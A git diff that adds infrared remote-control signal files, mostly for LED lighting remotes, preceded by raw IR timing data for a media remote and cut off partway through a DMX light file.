566 531 547 1557 568 529 539 1565 570 1558 567 530 548 1557 568 1560 565 532 546 526 541 1563 572 525 542 529 538 1566 569 527 540 531 547 1557 568 +Src RAW F:38000 DC:33 8548 4221 563 1590 545 527 540 1587 548 1580 545 527 540 1588 547 525 542 1586 539 533 545 1584 541 531 547 526 541 1586 539 533 545 1584 541 531 547 526 541 1587 548 525 542 1586 539 1589 546 526 541 531 547 526 541 1587 548 524 543 1585 540 533 545 527 540 1588 547 1580 545 1583 542 26880 8544 4226 569 1560 565 532 546 1582 543 1585 540 533 545 1583 542 531 547 1581 544 529 538 1589 546 526 541 531 547 1581 544 529 538 1589 546 526 541 531 547 1581 544 528 539 1588 547 1581 544 529 538 534 544 528 539 1589 546 526 541 1587 548 524 543 529 538 1589 546 1582 543 1585 540 +Top_menu RAW F:38000 DC:33 8551 4217 567 1561 564 509 569 1559 566 1561 564 509 569 1559 566 506 572 1556 569 503 575 1554 571 501 566 506 572 1556 569 503 575 1553 572 500 567 1561 574 497 570 502 565 1563 572 1556 569 503 575 498 569 1558 567 506 572 1556 569 1559 566 507 571 501 566 1562 573 1554 571 501 566 26880 8553 4216 568 1561 564 1565 570 1559 566 1563 572 499 568 1562 563 508 570 1560 565 507 571 526 541 530 548 525 542 1562 573 523 544 1560 565 531 547 526 541 530 548 1557 568 1561 564 532 546 1559 566 1563 572 524 543 1561 564 1565 570 526 541 531 547 1558 567 529 549 523 544 1559 566 +Up RAW F:38000 DC:33 8547 4221 563 1565 570 527 540 1587 548 1580 545 527 540 1587 548 524 544 1585 540 532 546 1582 543 530 548 524 543 1584 541 532 546 1582 543 529 538 1589 546 526 541 531 547 1581 544 1584 541 531 547 526 541 1586 539 534 544 1584 541 1587 538 534 544 528 539 1588 547 1581 544 528 539 26881 8543 4224 571 1583 542 1587 548 1556 569 1560 565 531 547 1583 542 529 549 1581 544 527 541 532 546 526 541 530 548 1581 544 528 539 1589 546 526 541 1587 538 534 544 1585 540 531 547 1582 543 1586 539 1590 545 526 541 531 547 1582 543 529 538 1590 545 526 541 531 547 525 542 1586 539 +Down RAW F:38000 DC:33 8544 4223 571 1581 544 528 540 1588 547 1580 545 527 540 1587 548 524 543 1584 541 532 546 1581 544 528 539 533 545 1582 543 529 549 1579 546 526 541 1585 540 532 546 527 540 1587 538 1588 547 525 542 530 548 1580 545 527 540 1587 538 1589 546 526 541 531 547 1580 545 1582 543 529 538 26875 8547 4217 567 1586 539 1589 546 1582 543 1585 540 532 546 1582 543 529 538 1590 545 526 541 530 548 524 543 528 539 1589 546 525 542 1586 539 532 546 526 541 1587 548 1580 545 527 540 1587 548 1580 545 1583 542 530 548 1580 545 527 540 531 547 1581 544 528 539 532 546 526 541 1586 539 26872 8540 4225 569 1583 542 530 548 1580 545 1582 543 529 549 1579 546 526 541 1586 539 533 545 1583 542 530 548 524 543 1584 541 531 547 1581 544 528 539 1588 547 525 542 529 538 1589 546 1581 544 528 539 533 545 1583 542 530 548 1579 546 1582 543 529 538 534 544 1584 541 1586 539 533 545 26871 8542 4223 572 1581 544 1585 540 1588 547 1581 544 528 539 1589 546 525 542 1586 539 532 546 526 541 530 548 524 543 1585 540 532 546 1582 543 529 538 533 545 1584 541 1588 547 525 542 1585 540 1589 546 1582 543 529 538 1590 545 526 541 530 548 1581 544 527 540 531 547 525 542 1585 540 +L RAW F:38000 DC:33 8542 4224 571 1557 568 529 538 1589 546 1581 544 528 539 1588 547 525 542 1585 540 532 546 1582 543 530 548 524 543 1584 541 531 547 1581 544 528 539 1589 547 526 541 530 548 1580 545 1582 543 530 548 524 543 1584 541 531 547 1581 544 1584 541 531 547 525 542 1586 539 1588 547 525 542 26875 8549 4216 568 1585 540 1589 546 1583 542 1586 539 533 545 1584 541 531 547 1581 544 528 539 533 545 527 540 531 547 1582 543 529 538 1590 545 526 541 531 547 525 542 529 539 1590 545 1584 541 1588 547 1582 543 528 539 1589 546 1583 542 1586 539 533 545 527 540 532 546 526 541 1587 538 +R RAW F:38000 DC:33 8543 4222 573 1579 546 526 541 1586 539 1588 547 525 542 1585 540 532 546 1581 544 528 539 1588 547 525 542 529 549 1579 546 527 540 1587 538 534 544 1584 541 531 547 526 541 1586 539 1588 547 525 542 530 548 1580 545 527 541 1587 548 1579 546 526 541 531 547 1580 545 1583 542 530 548 26867 8546 4220 564 1589 546 1582 543 1585 540 1589 546 525 542 1586 539 533 545 1584 541 530 548 524 543 528 540 533 545 1583 542 530 548 1580 545 527 540 1588 547 1581 544 1585 540 532 546 1583 542 1586 539 1589 546 526 541 530 548 524 543 528 539 1589 546 525 542 529 539 533 545 1583 542 +Enter RAW F:38000 DC:33 8547 4219 565 1587 548 524 543 1584 541 1587 538 534 544 1584 541 531 547 1581 544 528 539 1589 546 525 542 530 548 1580 545 527 540 1586 539 533 545 1583 542 530 548 525 542 1585 540 1587 548 524 543 529 538 1589 546 525 542 1585 540 1588 547 525 542 529 538 1589 546 1581 544 528 539 26874 8548 4219 565 1588 547 1582 543 1585 540 1589 546 525 542 1587 538 533 545 1584 541 531 547 525 542 529 549 523 544 1584 541 531 547 1582 543 529 538 1591 544 527 540 531 547 1582 543 1586 539 1589 546 1583 542 529 549 523 544 1585 540 1588 547 525 542 529 539 533 545 527 540 1588 547 +Audio RAW F:38000 DC:33 8543 4224 570 1557 568 529 549 1579 546 1557 568 529 538 1589 546 526 541 1586 539 534 544 1583 542 531 547 526 541 1586 539 533 545 1584 541 531 547 1581 544 529 538 534 544 1584 541 1586 539 534 544 529 538 1589 546 526 541 1586 539 1564 571 526 541 531 547 1581 544 1584 541 532 546 26873 8550 4218 566 1562 573 1555 570 1559 566 1563 572 524 543 1585 540 533 545 1584 541 531 547 525 542 529 538 534 544 1584 541 531 547 1582 543 529 538 534 544 528 539 1589 546 1582 543 1586 539 1565 570 1584 541 531 547 1583 542 1587 548 523 544 528 539 532 546 527 540 531 547 1581 544 +Sub_title RAW F:38000 DC:33 8541 4228 566 1561 564 509 589 1538 597 1532 562 510 568 1560 565 508 570 1558 567 505 573 1556 569 503 595 477 590 1538 566 506 571 1556 569 504 563 1565 570 503 564 508 570 1559 566 1563 572 524 543 505 562 1566 569 503 564 1563 572 1557 568 504 594 478 569 1584 541 1587 538 534 544 26878 8544 4250 544 1585 540 1563 572 1583 542 1612 513 559 519 1611 514 557 521 1609 516 556 521 550 517 554 513 559 519 1634 491 557 521 1608 517 555 523 1606 519 1610 494 578 520 1634 491 1614 521 1608 517 1612 513 559 519 553 514 582 496 1609 516 557 520 550 517 580 498 550 497 1656 489 +Angle RAW F:38000 DC:33 8540 4225 570 1583 542 530 548 1580 545 1582 543 529 549 1579 546 526 541 1586 539 534 544 1584 541 531 547 525 542 1585 540 533 545 1582 543 530 548 1579 546 527 540 531 547 1581 544 1583 542 531 547 525 542 1585 540 532 546 1582 543 1585 540 532 546 526 541 1586 539 1589 546 525 542 26874 8548 4218 566 1587 538 1590 545 1584 541 1587 548 524 543 1584 541 531 547 1582 543 529 538 533 545 527 540 531 547 1582 543 528 539 1589 546 526 541 1587 538 533 545 1584 541 1587 548 1580 545 1584 541 1588 547 525 542 529 538 1590 545 527 540 531 547 525 542 530 548 523 544 1584 541 +Play_pause RAW F:38000 DC:33 8542 4224 570 1582 543 529 538 1589 546 1581 544 529 539 1589 546 526 541 1586 539 533 545 1583 542 530 548 525 542 1585 540 532 546 1582 543 529 538 1589 546 526 541 531 547 1581 544 1583 542 531 547 525 542 1586 539 533 545 1583 542 1586 539 534 544 528 539 1589 546 1581 544 528 539 26874 8548 4217 567 1586 539 1589 546 1582 543 1586 539 533 545 1584 541 531 547 1582 543 528 539 533 545 527 540 531 547 1582 543 529 538 1590 545 526 541 1587 548 1581 544 528 539 532 546 1584 541 1588 547 1582 543 529 538 533 545 528 539 1589 546 1582 543 529 549 524 543 528 539 1588 547 +Stop_ RAW F:38000 DC:33 8550 4218 566 1563 572 500 567 1561 574 1554 571 502 565 1563 572 500 567 1561 564 509 569 1559 566 507 571 502 565 1562 573 500 567 1561 564 508 569 1559 566 507 571 502 565 1563 572 1556 569 504 563 509 569 1559 566 507 571 1558 567 1561 564 509 569 503 564 1564 571 1557 568 505 573 26872 8547 4221 573 1556 569 1559 566 1564 571 1557 568 504 573 1554 571 501 566 1563 572 500 567 504 573 499 568 503 564 1564 571 501 566 1562 573 499 568 503 574 498 569 1559 566 506 572 1557 568 1561 574 1555 570 501 566 1563 572 1557 568 503 564 1564 571 500 567 529 549 523 544 1559 566 +Rew RAW F:38000 DC:33 8541 4225 569 1559 566 531 547 1581 544 1584 541 531 547 1581 544 529 538 1588 547 526 541 1586 539 533 544 528 539 1588 547 525 542 1585 540 533 544 1582 543 530 548 525 542 1584 541 1587 548 524 543 529 538 1589 546 526 541 1586 539 1588 547 525 542 530 548 1580 545 1582 543 529 549 26866 8542 4221 573 1555 570 1559 566 1563 572 1556 569 527 540 1588 547 525 542 1561 564 533 545 527 540 531 547 525 542 1585 540 532 545 1558 567 530 548 524 543 528 539 1589 546 1558 567 529 549 1556 569 1560 565 1563 572 1557 568 1560 565 532 545 526 541 1563 572 524 543 528 539 532 545 26866 8542 4225 569 1558 567 531 547 1555 570 1558 567 530 548 1555 570 527 540 1562 563 534 543 1559 566 531 547 525 542 1561 564 533 544 1557 568 530 537 1564 571 526 541 531 546 1556 569 1558 567 531 547 525 542 1560 565 532 545 1557 568 1560 565 532 545 527 540 1562 563 1564 571 526 541 26868 8541 4223 571 1557 568 1561 564 1564 571 1557 568 528 539 1565 570 525 542 1562 573 523 544 527 540 532 546 526 541 1562 573 522 545 1559 566 530 547 524 543 529 538 1565 570 1558 567 529 549 1556 569 1559 566 1563 572 1556 569 1560 565 531 547 526 541 1562 573 523 544 528 539 531 547 +Ff RAW F:38000 DC:33 8540 4227 567 1561 564 533 545 1583 542 1561 564 533 545 1583 542 531 547 1580 545 528 539 1588 547 525 542 530 548 1554 571 526 541 1586 539 533 545 1583 542 530 548 525 542 1584 541 1562 573 524 543 528 539 1588 547 525 542 1585 540 1563 572 525 542 530 548 1579 546 1556 569 529 538 26872 8548 4218 566 1563 572 1556 569 1560 565 1563 572 524 543 1585 540 532 546 1582 543 530 548 524 543 528 539 533 545 1583 542 530 548 1580 545 528 539 1588 547 1557 568 529 538 1565 570 526 541 1562 573 1556 569 1560 565 531 547 525 542 1586 539 533 544 1559 566 531 547 525 542 528 539 +Band RAW F:38000 DC:33 8544 4221 563 1564 571 526 541 1586 539 1589 546 525 542 1586 539 533 545 1582 543 530 548 1579 546 526 541 531 547 1580 545 527 540 1587 548 524 543 529 538 1589 546 526 541 531 547 1581 544 528 539 533 545 527 540 1587 548 524 543 1584 541 1587 538 534 544 1584 541 1587 538 1589 546 26868 8544 4220 564 1588 547 525 542 1585 540 1587 548 524 543 1584 541 532 546 1581 544 529 538 1589 546 526 541 531 547 1580 545 527 540 1587 548 524 543 529 538 1589 546 526 541 531 547 1580 545 528 539 532 546 527 540 1587 548 524 543 1584 541 1586 539 534 544 1583 542 1586 539 1588 547 +Folder_l RAW F:38000 DC:33 8541 4222 572 1555 570 503 564 1562 573 1555 570 502 565 1561 574 498 569 1558 567 505 573 1555 570 502 565 506 571 1556 569 503 564 1563 572 500 567 1560 565 506 572 501 566 1561 564 1564 571 500 567 504 573 1555 570 501 566 1562 573 1554 571 501 566 506 572 1556 569 1558 567 530 548 26862 8547 4217 567 1562 573 1555 570 1559 566 1562 573 523 544 1560 565 531 547 1557 568 528 539 533 544 527 540 531 547 1557 568 528 539 1564 571 525 542 529 549 1555 570 526 541 530 548 1556 569 1559 566 1563 572 524 543 1561 564 532 546 1558 567 1562 573 523 544 528 539 532 546 1557 568 +Folder_r RAW F:38000 DC:33 8542 4221 573 1554 571 501 566 1561 564 1564 571 500 567 1561 564 507 571 1557 568 504 574 1554 571 525 542 505 572 1555 570 527 540 1562 573 524 543 1559 566 531 547 501 566 1561 564 1563 572 500 567 504 573 1555 570 502 565 1562 573 1555 570 502 565 506 571 1557 568 1559 566 506 572 26865 8544 4219 565 1565 570 1558 567 1561 564 1565 570 526 541 1562 573 523 544 1560 565 531 547 525 542 529 548 523 544 1560 565 531 547 1557 568 528 539 1564 571 524 543 528 539 532 545 1557 568 1561 564 1565 570 525 542 529 549 1579 546 1583 542 1586 539 532 545 526 541 531 547 1580 545 diff --git a/assets/resources/infrared/LED Lighting/Amazon/Amazon_LED_Lights.ir b/assets/resources/infrared/LED Lighting/Amazon/Amazon_LED_Lights.ir new file mode 100644 index 000000000..87fe70185 --- /dev/null +++ b/assets/resources/infrared/LED Lighting/Amazon/Amazon_LED_Lights.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 40 00 00 00 +# +name: Bright_up +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9029 4463 592 540 598 534 594 539 599 533 595 538 600 532 596 537 601 531 597 1642 593 1647 598 1640 595 1643 592 1647 598 1640 595 1644 601 1637 598 534 594 539 599 1639 596 1642 593 1646 599 532 596 1643 592 540 598 1641 594 1644 601 531 649 431 707 477 599 1641 594 538 600 1638 597 39704 9026 2222 598 95884 9034 2217 603 +# +name: Bright_dn +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 5D 00 00 00 +# +name: Red +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 58 00 00 00 +# +name: Green +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 59 00 00 00 +# +name: Blue +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 45 00 00 00 +# +name: White +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 44 00 00 00 +# +name: Red_up +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 14 00 00 00 +# +name: Red_dn +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 10 00 00 00 +# +name: Green_up +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 15 00 00 00 +# +name: Green_dn +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 11 00 00 00 +# +name: Blue_up +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 16 00 00 00 +# +name: Blue_dn +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 12 00 00 00 +# +name: Quick +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 17 00 00 00 +# +name: Slow +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 13 00 00 00 +# +name: Auto +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: Flash +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 0B 00 00 00 diff --git a/assets/resources/infrared/LED Lighting/BrandUnknown/44_Button_LED.ir b/assets/resources/infrared/LED Lighting/BrandUnknown/44_Button_LED.ir new file mode 100644 index 000000000..0dc2f92d5 --- /dev/null +++ b/assets/resources/infrared/LED Lighting/BrandUnknown/44_Button_LED.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: On +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 41 00 00 00 +# +name: Off +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 40 00 00 00 +# +name: R +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 58 00 00 00 +# +name: G +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 59 00 00 00 +# +name: B +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 45 00 00 00 +# +name: W +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 44 00 00 00 +# +name: Yellow +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 54 00 00 00 +# +name: Light_blue +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 55 00 00 00 +# +name: Turqouise +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 49 00 00 00 +# +name: Pink +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 48 00 00 00 +# +name: Orange +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 50 00 00 00 +# +name: Teal +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 51 00 00 00 +# +name: Purple +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: Other_Pink +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: Song_1 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 175 893 380 1378 197 366 298 765 431 314 627 1024 177 330 196 5880 277 1893 224 890 178 1226 175 779 197 995 201 910 179 1960 177 4321 194 18031 196 4303 197 13402 176 42880 353 737 306 386 227 916 199 757 178 247 197 2941 199 +# +name: Song_2 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 3924 313 331 308 4120 4604 520 673 441 567 547 591 544 596 518 647 518 620 464 650 516 596 518 1755 515 1734 516 1705 545 1729 521 1754 516 1731 519 1729 521 1752 488 1736 544 673 482 1684 545 1781 520 1676 523 564 571 673 462 625 540 572 512 1761 519 620 494 644 491 594 520 1756 514 1758 492 1758 543 40082 5117 252 883 257 2433 2387 405 +# +name: Song_3 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: Song_4 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 600 333 301 365 780 69 171 363 178 302 178 834 3926 229 353 2368 464 +# +name: 1H +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 224 256 377 337 179 247 514 67 280 464 200 411 621 892 519 92 178 246 198 10727 179 1252 179 587 430 894 251 674 179 1277 175 1780 413 1859 431 1788 461 1838 411 1754 516 1758 461 1838 462 1915 304 703 432 732 249 783 515 1756 514 1810 179 1041 201 778 490 992 178 1696 334 1965 458 1894 355 703 432 652 513 1707 512 1760 489 1784 435 40115 4677 260 1713 92 178 429 199 278 1153 2443 359 +# +name: 2H +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 19 00 00 00 +# +name: 3H +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 279 5274 197 4429 177 76285 177 566 226 676 177 1678 280 409 179 775 252 2877 272 +# +name: 4H +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 305 3787 252 623 246 1374 200 +# +name: Up_Red +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 14 00 00 00 +# +name: Down_Red +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 330 469 226 1028 173 11424 197 1897 414 940 225 727 177 2022 176 1097 196 3351 171 1784 179 4587 178 76935 201 1419 171 105637 9017 2286 515 96289 9096 2258 513 +# +name: Up_Green +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 15 00 00 00 +# +name: Down_Green +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 196 419 179 462 197 579 198 575 222 393 302 1031 277 470 675 419 179 487 177 7232 196 2192 200 4468 169 23361 176 +# +name: Up_Blue +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 2583 223 3345 599 198 11164 410 911 223 780 334 776 225 777 460 1892 377 1974 306 4130 379 1893 305 1861 178 2277 222 1812 355 754 196 2258 195 2024 225 910 255 1858 278 858 379 862 175 987 224 1889 329 860 356 700 199 2124 299 759 437 1859 380 1894 304 1807 514 40011 1706 277 4671 225 991 303 198 278 223 2628 326 +# +name: DIY1 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: DIY2 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: DIY3 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: DIY4 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 08 00 00 00 +# +name: DIY5 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 09 00 00 00 +# +name: DIY6 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: Quick +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 17 00 00 00 +# +name: Slow +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 13 00 00 00 +# +name: Auto +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: Flash +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: Jump3 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 04 00 00 00 +# +name: Jump7 +type: parsed +protocol: NEC +address: 00 00 00 00 +command: 05 00 00 00 +# +name: Fade3 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 196 68 172 22157 176 11027 226 74363 378 311 772 339 305 303 218 311 251 305 247 283 381 305 196 439 179 615 514 413 333 619 173 2786 307 +# +name: Fade7 +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 175 111506 172 diff --git a/assets/resources/infrared/LED Lighting/BrandUnknown/Color_Change_Bulb_Remote.ir b/assets/resources/infrared/LED Lighting/BrandUnknown/Color_Change_Bulb_Remote.ir new file mode 100644 index 000000000..a14f723fe --- /dev/null +++ b/assets/resources/infrared/LED Lighting/BrandUnknown/Color_Change_Bulb_Remote.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: Off +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4076 4497 331 539 335 583 291 532 331 539 335 584 290 581 293 532 331 541 333 1648 329 1651 336 1690 287 1696 291 1642 335 1648 339 1644 333 1649 338 536 338 1644 333 1650 337 537 337 536 338 537 337 536 338 537 337 1647 330 587 287 537 337 1694 293 1640 337 1692 285 1648 339 1690 287 59795 13271 2259 280 98396 13269 2276 273 98426 13292 2256 272 98428 13268 2283 277 98424 13273 2276 273 +# +name: On +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 174 8463 294 580 262 609 265 626 279 578 264 626 279 563 259 592 172 1052 264 1731 256 1715 293 1694 345 1652 252 1734 253 1721 266 1721 266 3719 178 39 179 6228 281 4075 285 1710 298 1687 279 1708 279 1646 341 1705 272 59603 196 12564 180 183 181 2173 278 98492 247 10659 1351 122 174 339 290 2280 259 98501 250 10985 177 115 587 119 177 291 177 115 176 2295 249 98530 250 10658 2279 2284 255 98517 254 10758 1159 357 361 119 193 2281 248 +# +name: Brighter +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4082 4497 331 539 335 535 339 530 333 539 335 535 339 532 331 540 334 538 336 1609 378 1605 372 1609 378 1609 378 1607 380 1609 378 1634 343 1603 374 1639 338 534 340 1641 336 537 337 536 338 536 338 533 341 533 341 531 343 1636 341 499 343 1664 344 1635 342 1636 362 1618 338 1642 335 59711 13365 2274 275 98192 13430 2281 278 98226 13355 2284 276 +# +name: Darker +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 180 8430 264 608 266 604 259 610 264 606 268 603 260 609 265 606 268 605 258 1722 265 1715 262 1719 258 1721 266 1715 262 1719 268 1715 262 1720 267 606 268 604 259 1723 264 611 263 609 265 610 264 608 266 607 267 1713 264 1716 261 613 261 1720 267 1729 258 1710 267 1680 339 1640 358 38767 496 106 180 602 4491 585 330 647 289 109908 203 116 180 8120 272 599 306 565 277 573 290 601 304 548 295 573 290 601 304 549 262 1737 182 1777 298 1681 296 1685 292 1690 297 1683 294 1706 281 1687 181 39 179 469 264 607 267 1675 364 521 181 64 175 530 286 587 255 609 265 606 268 1713 264 1713 264 609 265 1717 260 1714 263 1649 390 1682 264 1718 290 +# +name: Red +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4070 4492 336 532 331 539 335 536 338 531 332 537 337 535 339 534 340 531 332 1648 339 1641 336 1645 332 1648 339 1641 336 1646 331 1653 334 1647 340 1643 334 539 335 539 335 1648 339 534 340 535 339 535 339 534 340 531 332 1649 338 1646 331 538 336 1646 331 1649 338 1642 335 1645 332 59768 13221 2279 280 98376 13242 2198 330 +# +name: Green +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4115 4504 324 582 281 538 336 535 339 530 333 537 337 505 369 502 372 531 332 1648 339 1643 334 1646 331 1650 337 1643 334 1649 338 1641 315 1689 179 +# +name: Blue +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 201 8424 275 576 298 572 291 599 296 558 285 603 271 599 275 580 294 596 278 1684 293 3677 277 1711 276 1691 286 1640 337 1639 348 1635 342 546 338 1698 279 585 299 1636 341 545 339 537 347 541 353 509 344 1635 404 536 348 1638 349 539 376 1638 328 79436 203 3212 773 4525 282 548 357 506 357 530 354 542 342 506 409 515 411 587 276 545 349 1677 289 1690 266 1709 268 1710 267 1714 263 1717 291 1693 263 1718 269 607 267 1722 265 613 172 1814 261 616 268 607 267 612 262 615 259 1721 297 579 263 1720 267 606 268 1715 272 1714 263 1723 264 1720 267 +# +name: White +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 175 8455 280 593 301 565 288 585 278 583 270 597 297 576 298 563 181 1065 303 5651 280 3674 301 1698 279 7614 346 532 342 1710 277 539 345 535 339 539 345 584 279 598 276 2584 308 567 275 3701 294 1688 278 1709 278 59644 176 11236 179 1178 174 4633 263 97280 248 10633 4435 2254 253 +# +name: Flash +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 181 8431 263 608 203 1154 271 600 263 608 266 1480 299 575 267 617 288 1700 277 5676 276 1712 296 1689 298 1685 271 1716 271 1715 272 1716 271 1655 343 1691 296 537 368 509 344 578 296 578 348 522 612 592 282 590 284 589 285 1701 286 1699 288 1698 289 1695 282 59309 15199 2279 280 97206 15190 2281 278 +# +name: Strobe +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 246 8364 263 609 265 606 257 614 260 611 263 608 266 609 265 591 173 1051 265 1718 259 1724 263 1721 266 1718 259 1724 263 1721 266 1719 268 1718 269 1718 269 1718 269 1719 268 609 265 1724 263 598 255 615 269 607 267 597 178 1195 266 605 269 1716 261 612 262 1723 264 1721 266 1718 269 59329 246 10647 4348 2282 288 +# +name: Fade +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 182 262 175 5253 179 259 245 499 172 2203 341 96965 198 12787 2720 2284 276 +# +name: Smooth +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 15227 4499 277 577 297 594 269 602 272 601 273 599 275 597 277 596 278 588 286 3688 277 1690 297 1705 303 3669 275 1713 274 1691 629 1704 273 1654 344 536 369 553 289 1648 339 585 289 587 349 543 279 577 265 604 270 1675 343 1641 346 585 278 1687 290 1698 341 1639 296 53299 15138 2286 274 97253 15237 2259 280 +# +name: Yellow +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 15231 2218 248 +# +name: Pink +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 176 8806 294 577 265 604 259 610 295 578 264 607 267 602 272 601 262 611 263 1720 267 1732 276 1692 264 1716 261 1718 290 1696 260 1734 253 1723 264 612 262 1740 278 598 286 575 267 1718 269 609 265 1484 264 1718 269 607 267 1727 250 1720 298 574 268 1715 262 1721 266 1718 269 59632 202 10692 307 117 528 120 176 470 175 289 444 117 257 117 205 118 178 2928 261 +# +name: Yellow +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 15192 4552 286 534 340 504 370 531 332 538 336 505 369 533 341 531 332 539 335 1647 340 1644 333 1650 337 1643 334 1649 338 1646 341 1642 335 1618 369 1615 372 536 338 539 335 542 332 1653 334 543 341 505 369 536 338 535 339 1644 333 1651 336 1648 339 532 342 1642 335 1649 338 1645 332 53458 15180 2285 274 97156 15186 2284 275 +# +name: Purple +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 4426 4547 281 591 283 585 289 582 281 587 287 584 290 582 281 590 315 558 284 1697 290 1694 283 1699 288 1693 284 1698 289 1684 345 1647 319 1616 340 578 296 1692 295 1691 296 581 293 1649 338 540 344 576 178 704 289 1683 262 619 286 596 278 1688 341 531 291 1690 297 1687 290 1713 274 59602 15175 2283 276 +# +name: Royal_Blue +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 5911 4553 317 555 287 584 290 582 281 585 309 514 339 582 312 560 282 539 335 1701 286 1698 289 1695 282 1701 286 1697 311 1622 334 1702 285 1649 338 591 314 512 341 535 339 589 316 1619 368 558 295 584 310 513 340 1694 283 1702 285 1696 312 1670 317 556 286 1697 290 1690 308 1677 289 58761 15166 2276 273 97195 15150 2285 274 diff --git a/assets/resources/infrared/LED Lighting/BrandUnknown/DMX_Light.ir b/assets/resources/infrared/LED Lighting/BrandUnknown/DMX_Light.ir new file mode 100644 index 000000000..680b08a59 --- /dev/null +++ b/assets/resources/infrared/LED Lighting/BrandUnknown/DMX_Light.ir @@ -0,0 +1,98 @@ +Filetype: IR signals file +Version: 1 +# +name: Power +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9296 4514 603 547 607 544 610 541 613 538 606 545 609 542 612 538 606 1657 610 1653 604 1658 609 1654 613 1649 608 1655 612 1650 607 1656 611 540 604 547 607 1655 612 539 605 546 608 1654 613 537 607 544 610 541 613 1649 608 543 611 1651 606 1657 610 540 604 1659 608 1654 613 1650 607 40011 9303 2233 606 96496 9310 2232 607 96508 9306 2235 604 96514 9303 2234 605 +# +name: Dmx +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9363 4506 611 546 608 546 608 546 608 544 610 543 611 541 613 540 614 1677 580 1658 609 1657 610 1657 610 1656 611 1658 619 1651 616 1655 612 547 618 541 613 1654 613 1654 613 1654 613 1656 611 546 618 539 615 543 611 1656 611 548 616 544 610 549 615 543 611 1657 610 1658 619 1652 615 40004 9352 2240 610 96483 9400 2238 622 96460 9424 2241 619 96460 9382 2230 610 +# +name: Auto +type: raw +frequency: 38000 +duty_cycle: 0.330000 +data: 9295 4513 614 537 607 544 610 540 604 546 608 542 612 538 606 544 610 1651 606 1655 612 1649 608 1653 604 1658 609 1652 605 1656 611 1650 607 543 611 538 606 1654 603 547 607 542 602 547 607 542 612 537 607 543 611 1650 607 543 611 1649 608 1653 614 1648 